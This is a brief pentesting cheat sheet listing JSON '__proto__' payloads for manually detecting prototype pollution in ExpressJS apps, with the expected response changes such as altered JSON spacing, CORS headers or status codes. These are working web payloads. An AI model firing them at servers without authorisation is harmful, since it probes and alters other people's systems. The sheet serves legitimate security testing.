Prototype Pollution: Manual Testing
ExpressJS:
{ "__proto__":{"parameterLimit":1}}+ 2 parameters in GET request, at least 1 must be reflected in the response.ExpressJS:
{ "__proto__":{"ignoreQueryPrefix":true}}+??foo=barExpressJS:
{ "__proto__":{"allowDots":true}}+?foo.bar=bazChange the padding of a JSON response:
{ "__proto__":{"json spaces":" "}}+{"foo":"bar"}, the server should return{"foo": "bar"}Modify CORS header responses:
{ "__proto__":{"exposedHeaders":["foo"]}}, the server should return the headerAccess-Control-Expose-Headers.Change the status code:
{ "__proto__":{"status":510}}
Comments
No comments yet.